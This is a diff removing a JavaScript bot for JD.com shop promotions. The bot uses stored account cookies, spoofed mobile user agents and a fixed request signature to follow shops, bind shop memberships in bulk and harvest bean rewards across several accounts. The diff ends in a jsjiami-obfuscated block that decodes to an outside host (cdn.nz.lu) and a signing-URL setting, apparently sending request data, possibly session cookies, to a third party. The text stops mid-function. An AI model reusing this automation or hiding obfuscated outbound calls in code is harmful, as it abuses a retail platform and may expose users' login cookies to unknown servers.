'4a4b4c2e46dd80c1d89bd445shop' - $.activityShopId = '1000077045' - $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=${encodeURIComponent($.secretPin)}&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - await superFans(); - await $.wait(2000); - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function superFans() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> "+$.authorCode) - await task("taskact/common/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - await task('shop/league/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent($.pinImg)}&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null`) - if ($.activityContent) { - await task('shop/league/checkOpenCard', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${encodeURIComponent($.authorCode)}&actorUuid=${$.actorUuid}`) - $.log("\n关注店铺") - if (!$.activityContent['followShop'].allStatus) { - await task('shop/league/saveTask', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${encodeURIComponent($.authorCode)}&taskType=1&taskValue=1`) - } else { - $.log("已经关注过了\n") - await $.wait(2000); - // return - } - $.log("\n加入店铺会员"); - if ($.openCardStatus.cardList) { - // console.log($.openCardStatus.cardList) - taskList = $.openCardStatus.cardList.filter((x) => !x.status); - console.log(taskList.length) - for (const vo of taskList) { - $.log(`去加入${vo.name}`); - console.log(vo.value) - if (vo.value === vo.value2) { - await bindWithVender( - { - venderId: `${vo.value}`, - bindByVerifyCodeFlag: 1, - registerExtend: {}, - writeChildFlag: 0, - activityId: $.openCardActivityId, - channel: 401, - }, - vo.value - ); - } else { - await bindWithVender( - { - venderId: `${vo.value}`, - shopId: `${vo.value2}`, - bindByVerifyCodeFlag: 1, - registerExtend: {}, - writeChildFlag: 0, - activityId: $.openCardActivityId, - channel: 401, - }, - vo.value - ); - } - await $.wait(2000); - // await $.wait(1000); - } - // await getFirstLZCK() - // await getToken(); - $.log("\n绑定助力"); - await task( - "shop/league/checkOpenCard", - `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode - }&pin=${encodeURIComponent($.secretPin)}` - ); - await task('shop/league/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent($.pinImg)}&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null`) - // await getFirstLZCK() - // await getToken(); - // $.log("\n加入购物车") - // if (!$.activityContent['addSku'].allStatus) { - // await task('shop/league/saveTask', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${encodeURIComponent($.authorCode)}&taskType=2&taskValue=2`) - // } else { - // $.log("已经加入过了\n") - // } - - // $.log("\c抽奖") - // await task('shop/league/startDraw', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}`) - } else { - $.log("没有获取到对应的任务。\n"); - } - } else { - $.log("无法顺利的获取到活动信息。") - } - } else { - $.log("没有成功获取到用户信息") - } - } else { - $.log("没有成功获取到用户鉴权信息") - } -} - -function task(function_id, body, isCommon = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'dz/common/getSimpleActInfoVo': - $.jdActivityId = data.data.jdActivityId; - $.venderId = data.data.venderId; - break; - case 'wxActionCommon/getUserInfo': - if (data.data.yunMidImageUrl) { - // if ($.index === 1) { - // ownCode['pinImg'] = data.data.yunMidImageUrl - // ownCode['nickname'] = data.data.nickname - // } - $.pinImg = data.data.yunMidImageUrl - } else { - // if ($.index === 1) { - // ownCode['pinImg'] = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - // ownCode['nickname'] = data.data.nickname - // } - $.pinImg = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - } - break; - case 'shop/league/activityContent': - if (!data.data.hasEnd) { - if ($.index === 1) { - $.log(`开启【${data.data.activityName}】活动`) - // $.log("-------------------") - ownCode = data.data.actorUuid - console.log("你的助力码 -> "+ownCode) - } - $.activityContent = data.data; - $.actorUuid = data.data.actorUuid; - } else { - $.log("活动已经结束"); - } - break; - case 'shop/league/checkOpenCard': - $.openCardStatus = data.data; - break; - case 'shop/league/startDraw': - console.log(data.data) - break; - case 'shop/league/saveTask': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`获得【${data.data.addBeanNum}】京豆\n`) - } - if (data.data.addScore) { - $.log(`获得【${data.data.addScore}】积分\n`) - } - } - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} - -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} - -function getAuthorCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - // $.log(err) - $.getAuthorCodeListerr = false - } else { - if (data) data = JSON.parse(data) - $.getAuthorCodeListerr = true - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl ,headers:{"user-agent":$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}}, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -var _0xod2='jsjiami.com.v6',_0xod2_=['‮_0xod2'],_0x2521=[_0xod2,'\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x51\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x61\x30\x70\x69\x59\x32\x67\x3d','\x64\x30\x6c\x71\x59\x55\x30\x3d','\x53\x46\x6c\x48\x5a\x6e\x41\x3d','\x53\x31\x4e\x45\x56\x45\x6f\x3d','\x65\x57\x70\x36\x51\x6b\x59\x3d','\x56\x6b\x4e\x4a\x54\x46\x6b\x3d','\x57\x6d\x5a\x6b\x57\x47\x38\x3d','\x62\x55\x5a\x70\x5a\x32\x34\x3d','\x65\x6e\x52\x6a\x65\x47\x4d\x3d','\x53\x46\x52\x42\x52\x45\x51\x3d','\x63\x30\x52\x74\x63\x6b\x34\x3d','\x64\x47\x4e\x32\x64\x6d\x6f\x3d','\x51\x6b\x56\x52\x64\x45\x30\x3d','\x64\x6e\x5a\x61\x51\x58\x4d\x3d','\x57\x57\x56\x77\x54\x31\x63\x3d','\x4f\x47\x46\x6b\x5a\x6d\x49\x3d','\x61\x6d\x52\x66\x63\x32\x68\x76\x63\x46\x39\x74\x5a\x57\x31\x69\x5a\x58\x49\x3d','\x4f\x53\x34\x79\x4c\x6a\x41\x3d','\x61\x6d\x52\x7a\x61\x57\x64\x75\x4c\x6d\x4e\x6d','\x57\x57\x78\x42\x64\x6d\x67\x3d','\x59\x58\x52\x70\x63\x46\x6f\x3d','\x59\x58\x42\x77\x62\x47\x6c\x6a\x59\x58\x52\x70\x62\x32\x34\x76\x61\x6e\x4e\x76\x62\x67\x3d\x3d','\x55\x56\x52\x45\x52\x31\x59\x3d','\x56\x57\x5a\x6a\x61\x32\x59\x3d','\x64\x30\x64\x35\x63\x32\x30\x3d','\x5a\x56\x42\x70\x59\x55\x34\x3d','\x61\x6d\x56\x6c\x62\x45\x77\x3d','\x64\x56\x56\x69\x63\x6d\x6f\x3d','\x5a\x30\x52\x43\x64\x56\x67\x3d','\x62\x31\x52\x42\x62\x6b\x73\x3d','\x59\x6e\x5a\x34\x62\x6b\x49\x3d','\x53\x46\x4a\x46\x59\x32\x51\x3d','\x62\x47\x39\x6e\x52\x58\x4a\x79','\x64\x58\x70\x79\x59\x55\x34\x3d','\x53\x45\x39\x77\x52\x46\x45\x3d','\x62\x48\x4e\x72\x63\x45\x55\x3d','\x61\x45\x74\x35\x54\x6b\x4d\x3d','\x5a\x57\x35\x32','\x55\x30\x6c\x48\x54\x6c\x39\x56\x55\x6b\x77\x3d','\x55\x57\x31\x50\x63\x6c\x51\x3d','\x64\x55\x4a\x30\x62\x6b\x63\x3d','\x63\x31\x56\x47\x52\x45\x34\x3d','\x5a\x6d\x78\x76\x62\x33\x49\x3d','\x63\x6d\x46\x75\x5a\x47\x39\x74','\x62\x47\x56\x75\x5a\x33\x52\x6f','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x6a\x5a\x47\x34\x75\x62\x6e\x6f\x75\x62\x48\x55\x76\x5a\x32\x56\x30\x61\x44\x56\x7a\x64\x41\x3d\x3d','\x61\x31\x6c\x51\x52\x6c\x49\x3d','\x63\x47\x39\x7a\x64\x41\x3d\x3d','\x63\x6c\x5a\x56\x62\x46\x6b\x3d','\x56\x30\x56\x31\x51\x6c\x49\x3d','\x63\x57\x5a\x48\x54\x48\x51\x3d','\x59\x58\x42\x77\x62\x48\x6b\x3d','\x52\x55\x64\x6f\x52\x33\x63\x3d','\x55\x6b\x52\x32\x56\x32\x73\x3d','\x59\x56\x4e\x6c\x52\x30\x4d\x3d','\x64\x31\x4e\x4f\x55\x48\x63\x3d','\x63\x33\x5a\x71\x53\x30\x67\x3d','\x52\x55\x78\x75\x63\x56\x59\x3d','\x56\x47\x64\x6c\x62\x57\x38\x3d','\x59\x58\x4e\x33\x59\x33\x59\x3d','\x51\x6b\x39\x58\x62\x58\x45\x3d','\x54\x6b\x70\x44\x59\x6d\x73\x3d','\x61\x33\x70\x47\x57\x45\x55\x3d','\x53\x47\x46\x48\x56\x57\x59\x3d','\x63\x6e\x42\x56\x52\x58\x41\x3d','\x59\x58\x42\x70\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74','\x4b\x69\x38\x71','\x61\x32\x56\x6c\x63\x43\x31\x68\x62\x47\x6c\x32\x5a\x51\x3d\x3d','\x65\x6d\x67\x74\x59\x32\x34\x3d','\x5a\x33\x70\x70\x63\x43\x77\x67\x5a\x47\x56\x6d\x62\x47\x46\x30\x5a\x53\x77\x67\x59\x6e\x49\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x39\x68\x63\x48\x42\x70\x5a\x44\x31\x71\x5a\x46\x39\x7a\x61\x47\x39\x77\x58\x32\x31\x6c\x62\x57\x4a\x6c\x63\x69\x5a\x6d\x64\x57\x35\x6a\x64\x47\x6c\x76\x62\x6b\x6c\x6b\x50\x57\x64\x6c\x64\x46\x4e\x6f\x62\x33\x42\x50\x63\x47\x56\x75\x51\x32\x46\x79\x5a\x45\x6c\x75\x5a\x6d\x38\x6d\x59\x6d\x39\x6b\x65\x54\x30\x3d','\x57\x6e\x6c\x76\x61\x57\x73\x3d','\x63\x33\x52\x79\x61\x57\x35\x6e\x61\x57\x5a\x35','\x4a\x6d\x4e\x73\x61\x57\x56\x75\x64\x44\x31\x49\x4e\x53\x5a\x6a\x62\x47\x6c\x6c\x62\x6e\x52\x57\x5a\x58\x4a\x7a\x61\x57\x39\x75\x50\x54\x6b\x75\x4d\x69\x34\x77\x4a\x6e\x56\x31\x61\x57\x51\x39\x4f\x44\x67\x34\x4f\x44\x67\x3d','\x5a\x56\x64\x6b\x55\x6d\x55\x3d','\x52\x56\x4e\x31\x65\x57\x6f\x3d','\x55\x30\x56\x5a\x65\x6c\x6f\x3d','\x61\x6d\x52\x68\x63\x48\x41\x37\x61\x56\x42\x6f\x62\x32\x35\x6c\x4f\x7a\x6b\x75\x4e\x53\x34\x30\x4f\x7a\x45\x7a\x4c\x6a\x59\x37','\x56\x56\x56\x4a\x52\x41\x3d\x3d','\x4f\x32\x35\x6c\x64\x48\x64\x76\x63\x6d\x73\x76\x64\x32\x6c\x6d\x61\x54\x74\x42\x52\x45\x6c\x45\x4c\x77\x3d\x3d','\x51\x55\x52\x4a\x52\x41\x3d\x3d','\x4f\x32\x31\x76\x5a\x47\x56\x73\x4c\x32\x6c\x51\x61\x47\x39\x75\x5a\x54\x45\x77\x4c\x44\x4d\x37\x59\x57\x52\x6b\x63\x6d\x56\x7a\x63\x32\x6c\x6b\x4c\x7a\x41\x37\x59\x58\x42\x77\x51\x6e\x56\x70\x62\x47\x51\x76\x4d\x54\x59\x33\x4e\x6a\x59\x34\x4f\x32\x70\x6b\x55\x33\x56\x77\x63\x47\x39\x79\x64\x45\x52\x68\x63\x6d\x74\x4e\x62\x32\x52\x6c\x4c\x7a\x41\x37\x54\x57\x39\x36\x61\x57\x78\x73\x59\x53\x38\x31\x4c\x6a\x41\x67\x4b\x47\x6c\x51\x61\x47\x39\x75\x5a\x54\x73\x67\x51\x31\x42\x56\x49\x47\x6c\x51\x61\x47\x39\x75\x5a\x53\x42\x50\x55\x79\x41\x78\x4d\x31\x38\x32\x49\x47\x78\x70\x61\x32\x55\x67\x54\x57\x46\x6a\x49\x45\x39\x54\x49\x46\x67\x70\x49\x45\x46\x77\x63\x47\x78\x6c\x56\x32\x56\x69\x53\x32\x6c\x30\x4c\x7a\x59\x77\x4e\x53\x34\x78\x4c\x6a\x45\x31\x49\x43\x68\x4c\x53\x46\x52\x4e\x54\x43\x77\x67\x62\x47\x6c\x72\x5a\x53\x42\x48\x5a\x57\x4e\x72\x62\x79\x6b\x67\x54\x57\x39\x69\x61\x57\x78\x6c\x4c\x7a\x45\x31\x52\x54\x45\x30\x4f\x44\x74\x7a\x64\x58\x42\x77\x62\x33\x4a\x30\x53\x6b\x52\x54\x53\x46\x64\x4c\x4c\x7a\x45\x3d','\x53\x55\x4e\x55\x55\x47\x59\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x7a\x61\x47\x39\x77\x62\x57\x56\x74\x59\x6d\x56\x79\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74\x4c\x33\x4e\x6f\x62\x33\x42\x6a\x59\x58\x4a\x6b\x4c\x7a\x39\x32\x5a\x57\x35\x6b\x5a\x58\x4a\x4a\x5a\x44\x30\x3d','\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x67\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x54\x47\x46\x4e\x59\x32\x34\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x56\x63\x6d\x77\x3d','\x5a\x6b\x6c\x5a\x63\x57\x77\x3d','\x5a\x46\x4e\x51\x64\x45\x59\x3d','\x5a\x56\x68\x4e\x5a\x58\x6f\x3d','\x5a\x32\x56\x30','\x56\x45\x5a\x6f\x57\x57\x38\x3d','\x64\x57\x4e\x32\x61\x6d\x45\x3d','\x52\x55\x4e\x7a\x56\x6e\x6b\x3d','\x62\x47\x39\x6e','\x63\x47\x46\x79\x63\x32\x55\x3d','\x63\x33\x56\x6a\x59\x32\x56\x7a\x63\x77\x3d\x3d','\x63\x6d\x56\x7a\x64\x57\x78\x30','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x55\x6e\x56\x73\x5a\x55\x78\x70\x63\x33\x51\x3d','\x62\x33\x42\x6c\x62\x6b\x4e\x68\x63\x6d\x52\x42\x59\x33\x52\x70\x64\x6d\x6c\x30\x65\x55\x6c\x6b','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x53\x57\x35\x6d\x62\x77\x3d\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x4a\x5a\x41\x3d\x3d','\x53\x6c\x70\x42\x5a\x6c\x63\x3d','\x53\x46\x46\x44\x5a\x45\x59\x3d','\x62\x48\x56\x55\x63\x6d\x51\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x4a\x74\x5a\x58\x4e\x7a\x59\x57\x64\x6c','\x62\x57\x56\x7a\x63\x32\x46\x6e\x5a\x51\x3d\x3d','\x62\x6d\x4a\x71\x63\x6d\x38\x3d','\x55\x58\x52\x47\x61\x56\x67\x3d','\x52\x46\x6c\x31\x63\x57\x63\x3d','\x54\x57\x5a\x44\x62\x6d\x38\x3d','\x59\x6e\x5a\x59\x57\x46\x6f\x3d','\x56\x6b\x6c\x55\x63\x46\x51\x3d','\x51\x33\x46\x4c\x51\x6c\x67\x3d','\x56\x56\x4e\x76\x5a\x45\x59\x3d','\x52\x47\x6c\x32\x54\x58\x59\x3d','\x56\x48\x6c\x6e\x5a\x6d\x30\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x49\x3d','\x55\x32\x64\x74\x57\x46\x59\x3d','\x5a\x6d\x35\x42\x61\x32\x6b\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x38\x3d','\x62\x47\x52\x52\x62\x32\x30\x3d','\x54\x55\x70\x53\x63\x45\x63\x3d','\x54\x55\x4e\x6f\x53\x6c\x59\x3d','\x57\x47\x6c\x4b\x63\x6c\x63\x3d','\x6a\x73\x6a\x4b\x7a\x71\x69\x44\x61\x6d\x59\x69\x46\x2e\x52\x4a\x63\x6f\x4f\x65\x6d\x2e\x76\x51\x36\x4b\x43\x62\x3d\x3d'];if(function(_0x2277b4,_0x973061,_0x28df6a){function _0x5bdc51(_0x41f15a,_0x1112ff,_0x8c36a8,_0x1f3f77,_0x1ecf84,_0x5be323){_0x1112ff=_0x1112ff>>0x8,_0x1ecf84='po';var _0x2744bc='shift',_0x2fe2d3='push',_0x5be323='‮';if(_0x1112ff<_0x41f15a){while(--_0x41f15a){_0x1f3f77=_0x2277b4[_0x2744bc]();if(_0x1112ff===_0x41f15a&&_0x5be323==='‮'&&_0x5be323['length']===0x1){_0x1112ff=_0x1f3f77,_0x8c36a8=_0x2277b4[_0x1ecf84+'p']();}else if(_0x1112ff&&_0x8c36a8['replace'](/[KzqDYFRJOeQKCb=]/g,'')===_0x1112ff){_0x2277b4[_0x2fe2d3](_0x1f3f77);}}_0x2277b4[_0x2fe2d3](_0x2277b4[_0x2744bc]());}return 0xde733;};return _0x5bdc51(++_0x973061,_0x28df6a)>>_0x973061^_0x28df6a;}(_0x2521,0x136,0x13600),_0x2521){_0xod2_=_0x2521['length']^0x136;};function _0x219b(_0x19cca3,_0xd01416){_0x19cca3=~~'0x'['concat'](_0x19cca3['slice'](0x1));var _0x5e241a=_0x2521[_0x19cca3];if(_0x219b['SQLhKl']===undefined&&'‮'['length']===0x1){(function(){var _0x2a4157;try{var _0x1a3b6e=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x2a4157=_0x1a3b6e();}catch(_0x5649f7){_0x2a4157=window;}var _0x41452e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2a4157['atob']||(_0x2a4157['atob']=function(_0x2e050a){var _0x44c966=String(_0x2e050a)['replace'](/=+$/,'');for(var _0xd76250=0x0,_0x14d201,_0x5e06c3,_0x19370a=0x0,_0x2309e9='';_0x5e06c3=_0x44c966['charAt'](_0x19370a++);~_0x5e06c3&&(_0x14d201=_0xd76250%0x4?_0x14d201*0x40+_0x5e06c3:_0x5e06c3,_0xd76250++%0x4)?_0x2309e9+=String['fromCharCode'](0xff&_0x14d201>>(-0x2*_0xd76250&0x6)):0x0){_0x5e06c3=_0x41452e['indexOf'](_0x5e06c3);}return _0x2309e9;});}());_0x219b['cHEEak']=function(_0x1d83d8){var _0x5d1157=atob(_0x1d83d8);var _0x557fcf=[];for(var _0xa1d923=0x0,_0x302be1=_0x5d1157['length'];_0xa1d923<_0x302be1;_0xa1d923++){_0x557fcf+='%'+('00'+_0x5d1157['charCodeAt'](_0xa1d923)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x557fcf);};_0x219b['yVqUlS']={};_0x219b['SQLhKl']=!![];}var _0x1eab5b=_0x219b['yVqUlS'][_0x19cca3];if(_0x1eab5b===undefined){_0x5e241a=_0x219b['cHEEak'](_0x5e241a);_0x219b['yVqUlS'][_0x19cca3]=_0x5e241a;}else{_0x5e241a=_0x1eab5b;}return _0x5e241a;};function getShopOpenCardInfo(_0x427ea7,_0xd8a74){var _0x57a1ec={'\x54\x46\x68\x59\x6f':function(_0x3bf920,_0xb95601){return _0x3bf920!==_0xb95601;},'\x75\x63\x76\x6a\x61':_0x219b('‮0'),'\x45\x43\x73\x56\x79':_0x219b('‫1'),'\x4a\x5a\x41\x66\x57':_0x219b('‮2'),'\x48\x51\x43\x64\x46':_0x219b('‫3'),'\x6c\x75\x54\x72\x64':_0x219b('‫4'),'\x6e\x62\x6a\x72\x6f':function(_0x1ae4cf,_0x16a0a7){return _0x1ae4cf===_0x16a0a7;},'\x51\x74\x46\x69\x58':_0x219b('‮5'),'\x4d\x66\x43\x6e\x6f':function(_0x524909,_0xd1e9e6){return _0x524909===_0xd1e9e6;},'\x62\x76\x58\x58\x5a':_0x219b('‮6'),'\x56\x49\x54\x70\x54':function(_0x4fae49){return _0x4fae49();},'\x5a\x79\x6f\x69\x6b':function(_0x21d446,_0x2a69bc){return 